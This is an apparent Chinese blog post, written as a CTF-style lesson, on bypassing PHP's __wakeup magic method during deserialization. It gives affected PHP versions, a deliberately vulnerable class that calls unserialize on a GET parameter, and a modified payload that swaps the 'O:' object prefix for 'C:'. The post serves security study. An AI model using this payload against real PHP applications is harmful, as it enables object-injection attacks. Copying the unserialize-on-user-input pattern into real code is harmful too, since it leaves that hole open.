php反序列化绕过__wakeup(O改为C)

先说下适用条件:

PHP版本:7.0.15 - 7.0.33, 7.1.1 - 7.1.33, 7.2.0 - 7.2.34, 7.3.0 - 7.3.28, 7.4.0 - 7.4.16, 8.0.0 - 8.0.3。

变量的初始化不在__construct里,而是在外面进行赋值,如下一样。(construct里面再次对需要用的变量赋值也不会影响。)

<?php
class Game{
    public $start = True;
    public function __construct()
    {
        
    }
    public function __destruct(){
        if($this->start === True){
            echo "You Win!!!!!!";
        }
        else
        {
            echo "Loser!!!!!!!!";
        }
    }
    public function __wakeup(){
        $this->start=False;
    }
}
if(isset($_GET['m'])){
    unserialize($_GET['m']);
}else{
    highlight_file(__FILE__);
}

?>

 正常序列化后:

m=O:4:"Game":1:{s:5:"start";i:1;}

修改后我们的payload如下:

m=C:4:"Game":0:{}

参考文章:

https://bugs.php.net/bug.php?id=81151

https://bugs.php.net/bug.php?id=81153 

posted @ 2022-10-31 11:31  hithub  阅读(701)  评论(0编辑  收藏  举报